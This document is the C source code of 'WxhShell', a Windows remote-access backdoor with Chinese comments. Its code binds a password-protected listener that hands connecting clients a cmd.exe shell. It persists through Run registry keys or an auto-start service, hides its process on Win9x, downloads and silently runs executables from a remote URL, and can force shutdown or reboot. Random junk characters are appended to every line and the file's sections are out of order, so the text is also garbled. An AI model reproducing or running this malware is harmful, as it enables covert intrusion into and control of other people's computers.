  // 关机  GU99!.$  
  case 'd': { kYwk'\s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !ydJ{\;  
    if(Boot(SHUTDOWN)) l$$N~FN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VU7x w  
    else { k H Y  
    closesocket(wsh); $+eDoI'f  
    ExitThread(0); ^&iUC&8W  
    } +Z0@z^6\  
    break; )jbYWR *&  
    } N5u.V\F!z\  
  // 获取shell l?:!G7ie  
  case 's': { XJl2_#  
    CmdShell(wsh); *rPUVhD_  
    closesocket(wsh); 5a1)`2V2M  
    ExitThread(0); iGmBG1a\  
    break; >'3J. FY  
  } 1?\ #hemL  
  // 退出 gz6BfHQG  
  case 'x': { G*_$[|H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ; ]GSVv:  
    CloseIt(wsh); SsiKuoxk  
    break; =}txcA+  
    } juPW!u  
  // 离开 iJ HOLz"!  
  case 'q': { H~1&hF"d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r'7>J:cy=  
    closesocket(wsh); Sns`/4S?6Z  
    WSACleanup(); W)^0~[`i  
    exit(1); |,c\R"8xS  
    break; z_vFf0  
        } n:cre}0.  
  } SXn\k;F<  
  } @l~zn%!X  
|) {)w`  
  // 提示信息 s u]x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V=}AFGC85  
} cx?t C#t  
  } J%c4-'l  
'1]Iu@?  
  return; JiL%1y9|  
} Pl4$`Qw#y  
Id3i qAL  
// shell模块句柄 I%]L  
int CmdShell(SOCKET sock) ZW\}4q;[A  
{ .^BL7  
STARTUPINFO si; W$=MuF7R  
ZeroMemory(&si,sizeof(si)); C<Q;3w`#1j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QEIu}e6b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;C,D1_20Z  
PROCESS_INFORMATION ProcessInfo; {Muw4DV  
char cmdline[]="cmd"; ng $`<~=)\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dLQV>oF  
  return 0; L1;IXCc=  
} >D'Kt?L<]m  
o.-rdP0P>  
// 自身启动模式 ydFZ$W_}w  
int StartFromService(void) Q%6Lc.i  
{ R1Jj 3k  
typedef struct )*_4=-8H  
{ CCp&P5[67  
  DWORD ExitStatus; I9GRSm;0<  
  DWORD PebBaseAddress; JR='c)6:  
  DWORD AffinityMask; _<x4/".}B3  
  DWORD BasePriority; zb/w^~J_i  
  ULONG UniqueProcessId; (orO=gST-/  
  ULONG InheritedFromUniqueProcessId; X!r9  
}   PROCESS_BASIC_INFORMATION; |Rk$u  
5nL,sFd  
PROCNTQSIP NtQueryInformationProcess; ?0HPd5=<v  
0KknsP7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W#1t%hT$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n~xh %r;  
dQ+{Dv3A  
  HANDLE             hProcess; /L,VZ?CmtK  
  PROCESS_BASIC_INFORMATION pbi; ]DcQ8D  
ao>`[-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GrWzgO  
  if(NULL == hInst ) return 0; FL -yt  
0mj^Tms  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VY }?Nb<&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y/Yp+W6n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .0$$H"t  
.<8kDyi m  
  if (!NtQueryInformationProcess) return 0; ,#Y>nP0  
595P04  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J6}J/  
  if(!hProcess) return 0; 'Dl31w%:  
bbevy!m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {1 fva^O  
Zr`pOUk!4  
  CloseHandle(hProcess); 8jyg1NN D  
)LESdX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~x`BV+R  
if(hProcess==NULL) return 0; afEhC0j  
'{9nQ DgT  
HMODULE hMod; 1muB* O  
char procName[255]; 'yG9Rt  
unsigned long cbNeeded; 78't"2>  
Ys|n9pW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6{/HNEI*1  
=1' / ?  
  CloseHandle(hProcess); 0&!,+  
__Ei;%cV  
if(strstr(procName,"services")) return 1; // 以服务启动  #P8R  
m4FT^ ^3yE  
  return 0; // 注册表启动 pUV3n 1{2  
} ~Xa8\>  
"W:#4@ F  
// 主模块 #kD8U#  
int StartWxhshell(LPSTR lpCmdLine) 83io@*D  
{ E:,V{&tLK  
  SOCKET wsl; ;E? Z<3{  
BOOL val=TRUE; V> K sbPqR  
  int port=0; sBozz#  
  struct sockaddr_in door; /Q Xq<NG  
vvEr}G  
  if(wscfg.ws_autoins) Install(); w-9FF%@<  
R~nbJx$  
port=atoi(lpCmdLine); }F'B!8n  
#Fx$x#Gc@y  
if(port<=0) port=wscfg.ws_port; v`i9LD0(  
:]&O  
  WSADATA data; KtWn08D!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5(F @KeH>  
e$krA!zN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8sm8L\-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8 /3`rEW  
  door.sin_family = AF_INET; ;[ UGEi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pJ*x[y  
  door.sin_port = htons(port); }[a  
 c=? =u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { saMv.;s 1^  
closesocket(wsl); `Oxo@G*@}W  
return 1; xE+Nz5F  
} +r0ItqkM  
&6*X&]V!Z  
  if(listen(wsl,2) == INVALID_SOCKET) { JWHKa=-H  
closesocket(wsl); b65V*Vbj  
return 1; NE Br) ~  
} ROZOX$XM  
  Wxhshell(wsl); t;ZA}>/  
  WSACleanup(); aYIAy]*1e  
SM3Q29XIw  
return 0; {<f_,Nlc  
CF|c4oY82  
} 4{!7T  
-8;@NAUa  
// 以NT服务方式启动 r q2]u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rdK=f<I]  
{ }:NE  
DWORD   status = 0; 2, bo  
  DWORD   specificError = 0xfffffff; :CH?,x^!@  
!?t#QD o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dW hU o\>=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >l|ao&z>bm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ".Lwq_  
  serviceStatus.dwWin32ExitCode     = 0; F/BB]gUB  
  serviceStatus.dwServiceSpecificExitCode = 0; 5r#0/1ym!  
  serviceStatus.dwCheckPoint       = 0; EA@p]+P  
  serviceStatus.dwWaitHint       = 0; 7GN>o@t  
O>P792)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )TNAgTmqK  
  if (hServiceStatusHandle==0) return; @f<q&K%FJ  
:_ _z?<?(  
status = GetLastError(); [ 0? *J<d  
  if (status!=NO_ERROR) <=m@Sg{o  
{ ySyA!Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gmG M[c\  
    serviceStatus.dwCheckPoint       = 0; =pQ'wx|>|  
    serviceStatus.dwWaitHint       = 0; Uy8r !9O  
    serviceStatus.dwWin32ExitCode     = status; {FV_APL9_  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ja$Ple*XU8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k%UE^  
    return; 19.+"H  
  } d@o1< Q  
N7/eF9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 83rtQ ;L  
  serviceStatus.dwCheckPoint       = 0; 2D,EWk/4  
  serviceStatus.dwWaitHint       = 0; -oSfp23u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9 gt$z}oU  
} \>}G|yL  
TL%2?'G  
// 处理NT服务事件,比如:启动、停止 oA_T9uh[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .Y;ljQ  
{ %bs6Uy5g)a  
switch(fdwControl) pDW4DF:`(  
{ z)z_]c-X+  
case SERVICE_CONTROL_STOP: .2y2Qm  
  serviceStatus.dwWin32ExitCode = 0; & ,KxE(C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; njO5 YYOu  
  serviceStatus.dwCheckPoint   = 0; TF_~)f(`  
  serviceStatus.dwWaitHint     = 0; $+#Lq.3,  
  { H}TzNs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a>1_|QB.  
  } xj/Iq<'R*O  
  return; $9_yD&&  
case SERVICE_CONTROL_PAUSE: Yh=/?&*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tvh)N{j  
  break; {5<3./5O  
case SERVICE_CONTROL_CONTINUE: s,KE,$5F   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x3dP`<   
  break; 9?4EM^ -  
case SERVICE_CONTROL_INTERROGATE: -Xm/sq(i)%  
  break; Iu<RwB[#Q  
}; 58T<~u7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MiB"CcU  
} u$A*Vsmr  
|&O7F;/_  
// 标准应用程序主函数 z: x|;Ps!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -Re4G78%  
{ s@Q, wa(  
x>Hg.%/c[  
// 获取操作系统版本 6gUcoDD  
OsIsNt=GetOsVer(); &y164xn'h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s\7]"3:wD  
UOi[#L@N  
  // 从命令行安装 y81B3`@  
  if(strpbrk(lpCmdLine,"iI")) Install(); kZ8+ev=  
IaDN[:SX  
  // 下载执行文件 z%$,F9/  
if(wscfg.ws_downexe) { &f2'cR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Uc j eB  
  WinExec(wscfg.ws_filenam,SW_HIDE); a!n |/9 6  
} BQ\o?={  
6Dx^$=Sa$  
if(!OsIsNt) { =3~u.iq$  
// 如果时win9x,隐藏进程并且设置为注册表启动 :cx}I  
HideProc(); @Yv+L)  
StartWxhshell(lpCmdLine); *3,Kn}ik  
} fT:a{  
else #M9rt ~4  
  if(StartFromService()) wOhiC$E46  
  // 以服务方式启动 s<}d)L(  
  StartServiceCtrlDispatcher(DispatchTable); ;ALkeUR[  
else z?9vbx  
  // 普通方式启动  BKiyog  
  StartWxhshell(lpCmdLine); F_Pv\?35z  
g;|3n&  
return 0; _A[k&nO!&J  
} Klw\  
jB"?iC.  
9ZKB,  
yXuc< m  
=========================================== KF'DOXBw>  
dZS v=UY)  
3,Dc}$t  
o.)8  A8  
#&L[?jEn  
xEX"pd  
" {6V;$KqH6  
aGUKpYF  
#include <stdio.h> `i'72\(  
#include <string.h> SCXH{8SS  
#include <windows.h> &mG1V  
#include <winsock2.h> Xm#E99  
#include <winsvc.h> 7Nw} }  
#include <urlmon.h> %fv;C  
]\fXy?2  
#pragma comment (lib, "Ws2_32.lib") 6 /A#P$G  
#pragma comment (lib, "urlmon.lib") FCk4[qOp7  
|U~m8e&:  
#define MAX_USER   100 // 最大客户端连接数 8$c_M   
#define BUF_SOCK   200 // sock buffer L<GF1I)  
#define KEY_BUFF   255 // 输入 buffer ~E]ct F  
N+l 0XjZD9  
#define REBOOT     0   // 重启 # p?7{"Ep  
#define SHUTDOWN   1   // 关机 qUZm6)p6[a  
v,=[!=8!  
#define DEF_PORT   5000 // 监听端口 Sr9)i8x{  
(JgW")M`cY  
#define REG_LEN     16   // 注册表键长度 V>8)1)dF  
#define SVC_LEN     80   // NT服务名长度 "kYzgi  
1;e"3x"  
// 从dll定义API  .<0s?Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @xO?SjH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G`a,(<kT;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  `PV+.V}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C4Tn  
p "J^  
// wxhshell配置信息 T7wy{;  
struct WSCFG { ,-4SVj8$P  
  int ws_port;         // 监听端口 $r>\y (W  
  char ws_passstr[REG_LEN]; // 口令 3)? v  
  int ws_autoins;       // 安装标记, 1=yes 0=no *{ =5AW}o  
  char ws_regname[REG_LEN]; // 注册表键名 2jMV6S9  
  char ws_svcname[REG_LEN]; // 服务名 72YL   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "*ot:;I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }I1A4=d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "0,d)L0,"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >z(AQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )yHJc$OlMx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #/UlW  
APfDy  
}; \Mi] !b|8  
qtqTLl@u  
// default Wxhshell configuration )_MIUQ%  
struct WSCFG wscfg={DEF_PORT, =LFrV9  
    "xuhuanlingzhe", 't3@dz_dG  
    1, 0v~Eu>Rg  
    "Wxhshell", vP_V%5~yN  
    "Wxhshell", &~%( RO  
            "WxhShell Service", :9_N Y"P  
    "Wrsky Windows CmdShell Service", jK!Y-  
    "Please Input Your Password: ", 9PU9BYBG  
  1, [RZ}9`V  
  "http://www.wrsky.com/wxhshell.exe", v7V.,^6+  
  "Wxhshell.exe" |Lq -vs?  
    }; /~4wM#Yi8  
m]Sv>|  
// 消息定义模块 R5y+bMZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v(ATbY75  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GN7\p)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TAkM-iyH]  
char *msg_ws_ext="\n\rExit."; sRM3G]nUr  
char *msg_ws_end="\n\rQuit."; ?|&plf |  
char *msg_ws_boot="\n\rReboot..."; \Y EV 5  
char *msg_ws_poff="\n\rShutdown..."; \z/_vzz4  
char *msg_ws_down="\n\rSave to "; 34@f(^d+^  
bZ/4O*B  
char *msg_ws_err="\n\rErr!"; Cb{n4xKW6  
char *msg_ws_ok="\n\rOK!"; fnZaIV=H  
SM<kR1bo  
char ExeFile[MAX_PATH]; r*n_#&-7  
int nUser = 0; :3FJe  
HANDLE handles[MAX_USER]; qkM<t?uS  
int OsIsNt; S.!0~KR: U  
_n[4+S*v(  
SERVICE_STATUS       serviceStatus; v,\2$q/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JOR ? xCc  
*zf@J'  
// 函数声明 nA!Xb'y&  
int Install(void); ) <lpI';T  
int Uninstall(void); E^RPK{zO  
int DownloadFile(char *sURL, SOCKET wsh); :HJ@/ s!J  
int Boot(int flag); xnyp'O8yk  
void HideProc(void); WFOO6 kMz  
int GetOsVer(void); Kn#3^>D  
int Wxhshell(SOCKET wsl); Esc*+}ck  
void TalkWithClient(void *cs); 1pUIZ$@?`  
int CmdShell(SOCKET sock); !'-|]xx(  
int StartFromService(void); !k=>Wb8n2  
int StartWxhshell(LPSTR lpCmdLine); $U uSrX&  
]^='aQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *kI1NchF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *ybwl Lg  
OMr&f8  
// 数据结构和表定义 Kg#5 @;  
SERVICE_TABLE_ENTRY DispatchTable[] = ?pT\Ft V  
{  Ji>  
{wscfg.ws_svcname, NTServiceMain}, pB3dx#l  
{NULL, NULL} [n53 eC  
}; -rEg(@S %  
t`"]"Re  
// 自我安装 `&)khxT/  
int Install(void) .] S{T  
{ 0@ -3U{Q  
  char svExeFile[MAX_PATH]; p'`SYEY@Z  
  HKEY key; JG2)-x;9  
  strcpy(svExeFile,ExeFile); C ?^si  
:&]THUw  
// 如果是win9x系统,修改注册表设为自启动 . PzlhTL7  
if(!OsIsNt) {  2Z ? N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dM A"% R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~}SOd<n)|  
  RegCloseKey(key); UUxDW3K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ..ig jc#UF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N"i'[!H%  
  RegCloseKey(key); .js@F/H p  
  return 0; fP>K!@!8  
    } 2 |fN*Wm  
  } 8Nr,Wq  
} y6[^I'kz  
else { JsOu *9R  
Eua\N<!aai  
// 如果是NT以上系统,安装为系统服务 n3-2;xuNKE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zuWfR&U|W  
if (schSCManager!=0) D@Zb|EI%<  
{ I|6wPV?  
  SC_HANDLE schService = CreateService }y-b<J ?H  
  ( KUC (n!  
  schSCManager, -L9I;]:KY  
  wscfg.ws_svcname, w3^>{2iqq  
  wscfg.ws_svcdisp, oSb,)k@  
  SERVICE_ALL_ACCESS, Ax#$z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wr\rruH6  
  SERVICE_AUTO_START, DqLZc01>  
  SERVICE_ERROR_NORMAL, :v_H;UU  
  svExeFile, =h~\nTN  
  NULL, zh hH A9  
  NULL, {9 >jWNx  
  NULL, s W#}QYd  
  NULL, 1|za>N6[yu  
  NULL !MOgM  
  ); *k$":A  
  if (schService!=0) NqsIMCl  
  { T)IH4UO  
  CloseServiceHandle(schService); bK)gB!  
  CloseServiceHandle(schSCManager); +4kBd<0Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~W q[H  
  strcat(svExeFile,wscfg.ws_svcname); QR!8n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bDLPA27  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }gE?ms4$  
  RegCloseKey(key); O k-*xd  
  return 0; Az_s"}G  
    } 3pSkk  
  } Q\H_lB  
  CloseServiceHandle(schSCManager); {DPobyvwFk  
} u`l1 zMk  
} >?b9Xh  
g-c\ ;  
return 1; HvWnPh1l  
} Ns6Vf5T.  
83*"58  
// 自我卸载 qg;[~JZYKi  
int Uninstall(void) */B-%*#I.  
{ 8^3Z]=(Q  
  HKEY key; Qrt[MJ+#  
+L4_]  
if(!OsIsNt) { i,=CnZCh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b|i94y(  
  RegDeleteValue(key,wscfg.ws_regname); zOR  
  RegCloseKey(key); <r*A(}Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 33O@jb s@  
  RegDeleteValue(key,wscfg.ws_regname); ;cBFft}D  
  RegCloseKey(key); Qt_LBJUWV  
  return 0; )'{:4MX  
  } NX?J  
} Ybr&z7# 2  
} +DwyMzeE  
else { P)?)H]J"  
anj*a<C<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LTsG  
if (schSCManager!=0) e[t+pnRh  
{ 6x*u S~'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pn6 e{   
  if (schService!=0) Hu .e@7  
  { /J8'mCuC.  
  if(DeleteService(schService)!=0) { '-F }(9M  
  CloseServiceHandle(schService); Te`Z Qqb  
  CloseServiceHandle(schSCManager); rC>')`uk  
  return 0; zWxKp;.  
  } XgUvgJ  
  CloseServiceHandle(schService); s)q;{wz  
  } W&[}-E8<Y  
  CloseServiceHandle(schSCManager); {`0GAW)q  
} Ly?yW S-x  
} /? n 9c;w  
@0`Q  
return 1; lZTD>$  
} wL]7d3t  
n<;T BK  
// 从指定url下载文件 sF?N vp  
int DownloadFile(char *sURL, SOCKET wsh) |okS7.|IX  
{ n/_cJD \  
  HRESULT hr; u 89u#gCAC  
char seps[]= "/"; Xp]tL3-p  
char *token; *N"bn'>3  
char *file; 3IqYpK(s  
char myURL[MAX_PATH]; %2=nS<kC  
char myFILE[MAX_PATH]; CErkmod{}e  
f!}c0nb  
strcpy(myURL,sURL); :%Dw3IrOM  
  token=strtok(myURL,seps); ms'!E)  
  while(token!=NULL) 9?)r0`:#  
  { <$s G]l!\  
    file=token; DXAA[hUjF  
  token=strtok(NULL,seps); :U`8s#  
  } 6g@@V=mf  
[{F8+a^  
GetCurrentDirectory(MAX_PATH,myFILE); oLcOp.8h[  
strcat(myFILE, "\\"); L 6){wQ%c  
strcat(myFILE, file); 4a;8XAl  
  send(wsh,myFILE,strlen(myFILE),0); rIz"_r  
send(wsh,"...",3,0); zmI?p4,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XfF Z;ul  
  if(hr==S_OK) `, ?T;JRc  
return 0; !*wK4UcX"  
else iG*3S)  
return 1; kW&{0xkGR  
<o5+*X  
} q2}<n'o+  
5B{O!SNd  
// 系统电源模块 n$ye:p>`-  
int Boot(int flag) _p vL b  
{ _s./^B_w!  
  HANDLE hToken; xq',pzN  
  TOKEN_PRIVILEGES tkp; F"9f6<ge  
TL(L[  
  if(OsIsNt) { 0(VQwGC[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O&93QN0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T`46\KkN  
    tkp.PrivilegeCount = 1; Zg%SE'kK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IEV3(qzt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X%!#Ic]Q  
if(flag==REBOOT) { kWL\JDZ`.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =V:rO;qX+@  
  return 0;  .Ev  i  
} (6p 5 Fo  
else { j r6)K;:.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V|vU17Cgy  
  return 0; !8]W"@qb  
} GYot5iLg  
  } %&9tn0B  
  else { 6vz9r)L  
if(flag==REBOOT) { @*W,Jm3Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :g/HN9  
  return 0; +<Ot@luE  
} mP GF Y  
else { @"T_W(i;BI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v"Bv\5f,Ys  
  return 0; v`B7[B4K3  
} F(/^??<5  
} Owalt4}C  
+vfk+6  
return 1; NL))!Pi  
} &;7\/m*W1  
C( C4R+U  
// win9x进程隐藏模块 dI&2dcumS  
void HideProc(void)  5I5~GH  
{ ]SpUD  
BvpGP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ymybj  
  if ( hKernel != NULL ) e-f_ #!bW  
  { =!r9;L,?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $@q)IK%FDL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +\9Y;N y  
    FreeLibrary(hKernel); 5B| iBS l  
  } uYiM~^ 0  
Mq]~Ka3q7  
return; nK Rx_D$d  
} yB(^t`)}N  
]c8lZO>  
// 获取操作系统版本 0Z#&!xTb  
int GetOsVer(void) 3/o-\wWO  
{ ;ej;<7+  
  OSVERSIONINFO winfo; vBQ|h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nGGYKI  
  GetVersionEx(&winfo); 6gfv7V2H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P5Ms X~mT  
  return 1; a;m-Vu!  
  else YS k,kU  
  return 0; \(jSkrrD  
} oT$w14b  
6Km@A M]  
// 客户端句柄模块 G_=`&i"4  
int Wxhshell(SOCKET wsl) SZH,I&8  
{ 1p>5ZkHb  
  SOCKET wsh; Z<z(;)?c  
  struct sockaddr_in client; UceZW tYa  
  DWORD myID; <9YRSE [Ed  
;id0|x  
  while(nUser<MAX_USER) K=VYR Y  
{  V3K  
  int nSize=sizeof(client); Ab -uK|<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a /X@5kr{  
  if(wsh==INVALID_SOCKET) return 1; "#d}S)GlXM  
i;`r zsRb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s CSrwsbhv  
if(handles[nUser]==0) U,Nf&g  
  closesocket(wsh); 8vK Z;  
else gO4` e(W  
  nUser++; >f4H<V-  
  } )Ve?1?s '8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pUZe.S>G  
'>_'gR0O  
  return 0; $/nU0W  
} W"YFx*W  
uG&xtN8  
// 关闭 socket zS18Kl  
void CloseIt(SOCKET wsh) j*<H18^G  
{ U aj8}7v  
closesocket(wsh); cF3V{b|bU  
nUser--; $`x4|a8-  
ExitThread(0); &V$_u#<  
} (}vi"mCeW  
bNp RGhlV  
// 客户端请求句柄 )nJs9}( 0  
void TalkWithClient(void *cs) ~\<Fq\.x  
{ {e0cc1Up}  
v/\l  
  SOCKET wsh=(SOCKET)cs; Xa\{WM==;  
  char pwd[SVC_LEN]; IIUoB!`  
  char cmd[KEY_BUFF]; 7qq}wR]]  
char chr[1]; U)=?3}s(  
int i,j; C4&yC81Gm  
R @b[o7/  
  while (nUser < MAX_USER) { B<J} YN  
ZJ'#XZpr  
if(wscfg.ws_passstr) { !]7Z),s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i]a0 "  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E(*RtOC<W  
  //ZeroMemory(pwd,KEY_BUFF); l_Ftt N  
      i=0; 3i=+ [  
  while(i<SVC_LEN) { fmY=SqQG-  
m^@,0\F  
  // 设置超时 \$}^u5Y  
  fd_set FdRead; |7 ]v&?y  
  struct timeval TimeOut; ?d0I*bs)7  
  FD_ZERO(&FdRead); :% )va  
  FD_SET(wsh,&FdRead); yYwZZa1  
  TimeOut.tv_sec=8; IQf:aX  
  TimeOut.tv_usec=0; Z{xm(^'i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .&=nP?ZPC6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fI;6!M#  
$(K[W}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7RM$%'n \  
  pwd=chr[0]; h7f&7v  
  if(chr[0]==0xd || chr[0]==0xa) { b=horvs/!  
  pwd=0; A?<R9A  
  break; v^0D  
  } C,Q>OkSc  
  i++; yt}Ve6  m  
    } R$k4}p  
a` A V  
  // 如果是非法用户,关闭 socket zMxHJNQ\D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wZ6LiYiHl  
} |jH- bm  
v8W.84e-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~cQ./G4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FM$XMD0=  
Y^Y|\0  
while(1) { 2'Cwx-_G`  
.;)7)%  
  ZeroMemory(cmd,KEY_BUFF); Pky/fF7e  
b^_#f:_j  
      // 自动支持客户端 telnet标准   A^nB!veh  
  j=0; "bZ%1)+  
  while(j<KEY_BUFF) { 4qXO8T#~J=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }m0* w3  
  cmd[j]=chr[0]; @?lmho?  
  if(chr[0]==0xa || chr[0]==0xd) { ]Qm$S5tU  
  cmd[j]=0; d,AEV_  
  break; `w';}sQA7  
  } w=H   
  j++; :6~Nq/hZB  
    } I},.U&r  
?~c=Sa-  
  // 下载文件 `dekaRo  
  if(strstr(cmd,"http://")) { f]Z%,'1^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n4\UoKq  
  if(DownloadFile(cmd,wsh)) y:u7*%"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o.W:R Ux  
  else k=!lPIx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 67/JsL  
  } KtTv0[66  
  else { &0cfTb)dG  
;]!QLO.bs^  
